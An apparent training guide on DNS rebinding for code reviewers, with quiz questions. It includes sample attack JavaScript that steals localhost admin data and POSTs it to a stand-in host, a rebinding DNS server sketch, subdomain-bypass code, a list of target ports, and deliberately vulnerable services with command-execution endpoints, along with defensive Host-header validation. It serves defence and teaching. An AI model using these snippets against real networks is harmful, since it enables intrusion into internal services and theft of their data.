DNS Rebinding Attacks Code Review Guide
Table of Contents
Introduction
DNS Rebinding is a sophisticated attack technique that exploits the time-based nature of DNS resolution to bypass the browser's Same-Origin Policy (SOP). By manipulating DNS responses, attackers can make a victim's browser send requests to internal network resources as if they were communicating with the attacker's server.
This attack is particularly dangerous because it turns a victim's browser into a proxy for accessing internal services that would otherwise be protected by network firewalls. The attacker can access localhost services, internal APIs, IoT devices on the local network, and cloud metadata endpoints.
DNS Rebinding Attack Flow
evil.attacker.comevil.attacker.com → 93.184.216.34 (attacker IP)setInterval(() => fetch('/api'), 2000)evil.attacker.com → 127.0.0.1 (localhost!)fetch('http://evil.attacker.com/api') → 127.0.0.1:8080The browser's Same-Origin Policy checks the hostname, not the IP. Since the hostname (evil.attacker.com) stays the same, the browser considers requests to be same-origin, even though the underlying IP changed to localhost.
Why This Matters
DNS rebinding attacks have been used to compromise IoT devices, exfiltrate data from internal networks, and bypass SSRF protections. Services that only check if a request comes from localhost (127.0.0.1) are particularly vulnerable since the browser genuinely believes it's making a same-origin request.
Real-World Scenario
Imagine a developer has created an internal admin dashboard that runs on localhost:8080. They assume it's safe because it's only accessible from the local machine. The service has no authentication because "it's only localhost."
Vulnerable Internal Service
1// Internal admin service - assumes localhost is trusted
2const express = require('express');
3const app = express();
4
5// DANGEROUS: No authentication, trusts any localhost request
6app.get('/admin/users', (req, res) => {
7 // Returns all user data including passwords
8 res.json(getAllUsers());
9});
10
11app.post('/admin/execute', (req, res) => {
12 // Executes arbitrary commands
13 const { command } = req.body;
14 exec(command, (err, stdout) => res.send(stdout));
15});
16
17// Only listens on localhost - developer thinks this is secure
18app.listen(8080, '127.0.0.1', () => {
19 console.log('Admin panel running on localhost:8080');
20});An attacker creates a malicious website with JavaScript that exploits DNS rebinding:
Attacker's Malicious Page
1// Hosted on evil.attacker.com
2// DNS is configured to return attacker's IP first, then 127.0.0.1
3
4async function exploit() {
5 // Wait for DNS cache to expire (TTL is set very short)
6 await sleep(2000);
7
8 // After rebind, this request goes to 127.0.0.1:8080
9 // but browser thinks it's same-origin with evil.attacker.com
10 const response = await fetch('http://evil.attacker.com:8080/admin/users');
11 const users = await response.json();
12
13 // Exfiltrate data to attacker's real server
14 await fetch('https://attacker-real.com/steal', {
15 method: 'POST',
16 body: JSON.stringify(users)
17 });
18}
19
20// Trigger the attack
21exploit();Why does the browser allow the malicious JavaScript to access localhost?
How DNS Rebinding Works
DNS rebinding exploits a fundamental disconnect between how browsers enforce security (based on hostnames) and how network requests are made (based on IP addresses). Here's the step-by-step mechanism:
DNS Rebinding Timeline
| Phase | Action | DNS Response |
|---|---|---|
| Initial Load | Victim visits evil.attacker.com | Returns attacker IP (93.184.216.34) |
| Script Delivery | Malicious JavaScript loads | Cached (no DNS lookup) |
| TTL Expires | DNS cache entry expires | Entry removed from cache |
| Rebind | JavaScript makes another request | Returns target IP (127.0.0.1) |
| Exploitation | Request sent to localhost | Browser allows (same origin) |
Key Technical Details
DNS TTL: Attackers set very short TTL (Time-To-Live) values, often just 1 second, so the browser must re-resolve the domain quickly.
DNS Server Control: The attacker controls the authoritative DNS server for their domain and can return different IPs on subsequent queries.
Browser DNS Pinning: Some browsers implement DNS pinning (caching beyond TTL), but this can often be bypassed with multiple subdomains or timing attacks.
Attacker's DNS Server Configuration
1# Simplified DNS server for rebinding attack
2import socket
3import struct
4
5class RebindingDNS:
6 def __init__(self, attacker_ip, target_ip):
7 self.attacker_ip = attacker_ip
8 self.target_ip = target_ip
9 self.request_count = {}
10
11 def get_response_ip(self, domain, client_ip):
12 key = f"{domain}:{client_ip}"
13
14 # First request: return attacker's server
15 if key not in self.request_count:
16 self.request_count[key] = 1
17 return self.attacker_ip
18
19 # Subsequent requests: return target (localhost)
20 return self.target_ip
21
22 def build_response(self, query, ip):
23 # Return DNS response with very short TTL (1 second)
24 return build_dns_response(
25 query,
26 ip=ip,
27 ttl=1 # Critical: very short TTL
28 )What is the purpose of setting a very short DNS TTL in a rebinding attack?
Vulnerable Application Patterns
During code review, look for these patterns that make applications vulnerable to DNS rebinding attacks:
Pattern 1: Trusting Localhost Without Authentication
1// VULNERABLE: No auth because "it's only localhost"
2const express = require('express');
3const app = express();
4
5app.use((req, res, next) => {
6 // DANGEROUS: Assumes localhost requests are always safe
7 const clientIP = req.connection.remoteAddress;
8 if (clientIP === '127.0.0.1' || clientIP === '::1') {
9 req.isAdmin = true; // Auto-admin for localhost
10 }
11 next();
12});
13
14app.get('/sensitive-data', (req, res) => {
15 if (req.isAdmin) {
16 res.json(sensitiveData); // Exposed via DNS rebinding!
17 }
18});
19
20// Listening only on localhost doesn't protect against rebinding
21app.listen(8080, '127.0.0.1');Pattern 2: Internal APIs Without Host Validation
1# VULNERABLE: API doesn't validate Host header
2from flask import Flask, request, jsonify
3
4app = Flask(__name__)
5
6# No Host header validation - vulnerable to rebinding
7@app.route('/api/internal/config')
8def get_config():
9 # Returns sensitive configuration
10 return jsonify(load_internal_config())
11
12@app.route('/api/internal/exec', methods=['POST'])
13def execute_command():
14 # Executes commands - extremely dangerous
15 cmd = request.json.get('command')
16 return execute(cmd)
17
18# Developer thinks binding to 127.0.0.1 is enough
19if __name__ == '__main__':
20 app.run(host='127.0.0.1', port=5000)Pattern 3: IoT Devices with Web Interfaces
1// VULNERABLE: IoT device web interface
2// Common in routers, cameras, smart home devices
3
4// No authentication, relies on network isolation
5app.get('/api/device/settings', (req, res) => {
6 res.json({
7 wifi_password: config.wifiPassword,
8 admin_credentials: config.adminCreds,
9 network_map: getConnectedDevices()
10 });
11});
12
13// Dangerous control endpoints
14app.post('/api/device/firmware', (req, res) => {
15 // Update firmware from user-provided URL
16 flashFirmware(req.body.url); // Could flash malicious firmware!
17});
18
19app.post('/api/device/factory-reset', (req, res) => {
20 factoryReset(); // Could brick the device
21});Vulnerable vs Secure Patterns
| Vulnerable Pattern | Why It's Dangerous | Secure Alternative |
|---|---|---|
| Trust localhost IP only | DNS rebinding bypasses IP checks | Require authentication always |
| No Host header validation | Any domain can reach the service | Validate Host header strictly |
| Bind to 127.0.0.1 only | Browser can still reach via rebinding | Add authentication + Host validation |
| Internal API without auth | Assumes network isolation is enough | Always authenticate API requests |
| CORS with * or null origin | Allows attacker domains | Strict allowlist of origins |
Attack Requirements
For a DNS rebinding attack to succeed, several conditions must be met. Understanding these requirements helps in both assessing risk and designing defenses.
Attack Prerequisites
| Requirement | Description | Attacker Control |
|---|---|---|
| Domain ownership | Attacker must control a domain | Full control of DNS records |
| DNS server access | Ability to return dynamic DNS responses | Custom nameserver or DNS service |
| Victim interaction | User must visit attacker's website | Phishing, ads, or compromised sites |
| Target service | Service listening on known port | Usually localhost or internal IPs |
| No TLS validation | HTTP or misconfigured HTTPS | Self-signed certs help attackers |
Common Attack Targets
Localhost Services: Development servers, databases, admin panels
Internal Network: Printers, NAS devices, internal APIs
IoT Devices: Routers, cameras, smart home devices
Cloud Metadata: 169.254.169.254 for AWS/GCP credentials
Container Networks: Docker API, Kubernetes services
Typical Attack Ports to Scan
1// Ports commonly targeted in DNS rebinding attacks
2const TARGET_PORTS = [
3 // Development
4 { port: 3000, desc: 'Node.js dev server, React' },
5 { port: 5000, desc: 'Flask, Python dev servers' },
6 { port: 8080, desc: 'Common HTTP alternative' },
7 { port: 8000, desc: 'Django, Python dev servers' },
8
9 // Databases
10 { port: 6379, desc: 'Redis' },
11 { port: 27017, desc: 'MongoDB' },
12 { port: 9200, desc: 'Elasticsearch' },
13 { port: 5432, desc: 'PostgreSQL' },
14
15 // Infrastructure
16 { port: 2375, desc: 'Docker API (unencrypted)' },
17 { port: 2376, desc: 'Docker API (TLS)' },
18 { port: 10250, desc: 'Kubernetes kubelet' },
19 { port: 8001, desc: 'kubectl proxy' },
20
21 // IoT / Network
22 { port: 80, desc: 'Router admin, IoT devices' },
23 { port: 443, desc: 'HTTPS admin interfaces' },
24 { port: 8443, desc: 'Alternative HTTPS' },
25 { port: 554, desc: 'RTSP cameras' },
26];Which service is NOT commonly targeted in DNS rebinding attacks?
Exploitation Techniques
Different techniques exist for executing DNS rebinding attacks, each with varying complexity and reliability.
Rebinding Strategies
| Technique | Description | Browser Support |
|---|---|---|
| Classic TTL-based | Wait for DNS TTL to expire, return new IP | All browsers (with timing variations) |
| Multiple A records | Return both IPs, let browser pick | Most browsers alternate |
| Subdomain switching | Use unique subdomains to bypass pinning | All browsers |
| WebRTC-based | Use WebRTC to discover internal IPs first | Chrome, Firefox (limited) |
| Service Worker | Use SW to intercept and modify requests | Modern browsers |
Multiple A Records Technique
1// DNS server returns multiple A records
2// DNS Response for evil.attacker.com:
3// A 93.184.216.34 (attacker)
4// A 127.0.0.1 (target)
5
6// Browser may use either IP for subsequent requests
7// After attacker server stops responding, browser falls back to 127.0.0.1
8
9async function multiRecordAttack() {
10 // Make rapid requests - some will hit attacker, some will hit target
11 const results = [];
12
13 for (let i = 0; i < 50; i++) {
14 try {
15 const response = await fetch('/api/data', {
16 mode: 'cors',
17 credentials: 'omit'
18 });
19
20 // Check if we got data from the internal service
21 const data = await response.json();
22 if (data.internal) {
23 results.push(data);
24 }
25 } catch (e) {
26 // Attacker server deliberately fails to trigger fallback
27 }
28
29 await sleep(100);
30 }
31
32 // Exfiltrate collected internal data
33 exfiltrate(results);
34}Subdomain Bypass Technique
1// Use unique subdomains to bypass browser DNS pinning
2// Each subdomain gets a fresh DNS resolution
3
4function generateSubdomain() {
5 return Math.random().toString(36).substring(7);
6}
7
8async function subdomainAttack(target) {
9 const subdomain = generateSubdomain();
10 const url = `http://${subdomain}.evil.attacker.com/api/data`;
11
12 // DNS server is configured to:
13 // 1. Return attacker IP for first query to any subdomain
14 // 2. Return target IP (127.0.0.1) for subsequent queries
15
16 // First request - goes to attacker server, loads exploit code
17 await fetch(url);
18
19 // Wait for TTL
20 await sleep(2000);
21
22 // Second request - goes to target (127.0.0.1)
23 // Browser thinks it's same origin because subdomain.evil.attacker.com
24 const response = await fetch(url);
25 return response.json();
26}Port Scanning via DNS Rebinding
Attackers can use DNS rebinding to scan internal networks. By attempting to fetch resources on various internal IPs and ports, they can determine which services are running based on response timing and error types. This can be done entirely from JavaScript in the victim's browser.
Prevention Techniques
Defending against DNS rebinding requires multiple layers of protection. No single defense is foolproof, so implement defense in depth.
Defense Strategies
| Defense | Effectiveness | Implementation Complexity |
|---|---|---|
| Host header validation | High | Low - middleware check |
| Authentication on all endpoints | High | Medium - requires auth system |
| TLS with valid certificates | Medium | Medium - cert management |
| DNS pinning (server-side) | Medium | Low - resolve once, cache |
| Network segmentation | High | High - infrastructure change |
| Private network access headers | High | Low - browser feature |
Defense 1: Host Header Validation (Node.js)
1const express = require('express');
2const app = express();
3
4// SECURE: Validate Host header against allowlist
5const ALLOWED_HOSTS = ['localhost', '127.0.0.1', 'myapp.local'];
6
7function validateHost(req, res, next) {
8 const host = req.headers.host?.split(':')[0]; // Remove port
9
10 if (!host || !ALLOWED_HOSTS.includes(host)) {
11 console.warn(`Blocked request with invalid Host: ${host}`);
12 return res.status(403).json({ error: 'Invalid Host header' });
13 }
14
15 next();
16}
17
18// Apply to all routes
19app.use(validateHost);
20
21// Now safe from DNS rebinding - attacker's domain will be rejected
22app.get('/api/sensitive', (req, res) => {
23 res.json(sensitiveData);
24});Defense 2: Host Header Validation (Python/Flask)
1from flask import Flask, request, abort
2from functools import wraps
3
4app = Flask(__name__)
5
6ALLOWED_HOSTS = {'localhost', '127.0.0.1', 'myapp.local'}
7
8def validate_host(f):
9 @wraps(f)
10 def decorated_function(*args, **kwargs):
11 # Extract host without port
12 host = request.host.split(':')[0]
13
14 if host not in ALLOWED_HOSTS:
15 app.logger.warning(f'Blocked request with invalid Host: {host}')
16 abort(403, description='Invalid Host header')
17
18 return f(*args, **kwargs)
19 return decorated_function
20
21# Apply to sensitive routes
22@app.route('/api/sensitive')
23@validate_host
24def get_sensitive_data():
25 return jsonify(sensitive_data)
26
27# Or apply globally
28@app.before_request
29def check_host():
30 host = request.host.split(':')[0]
31 if host not in ALLOWED_HOSTS:
32 abort(403)Defense 3: Private Network Access Headers
1// Modern browsers support Private Network Access (PNA) headers
2// This helps prevent websites from accessing local network resources
3
4// Server should respond to preflight with these headers:
5app.options('*', (req, res) => {
6 // Check if this is a private network access preflight
7 if (req.headers['access-control-request-private-network']) {
8 // Only allow from trusted origins
9 const origin = req.headers.origin;
10 if (TRUSTED_ORIGINS.includes(origin)) {
11 res.setHeader('Access-Control-Allow-Private-Network', 'true');
12 } else {
13 // Block private network access from untrusted origins
14 return res.status(403).send('Private network access denied');
15 }
16 }
17
18 res.setHeader('Access-Control-Allow-Origin', origin);
19 res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
20 res.status(200).send();
21});Best Practices Checklist
✅ Always validate Host header against strict allowlist
✅ Require authentication even for localhost services
✅ Use TLS with properly validated certificates
✅ Implement Private Network Access headers
✅ Never assume network location equals trust
✅ Log and monitor for unexpected Host headers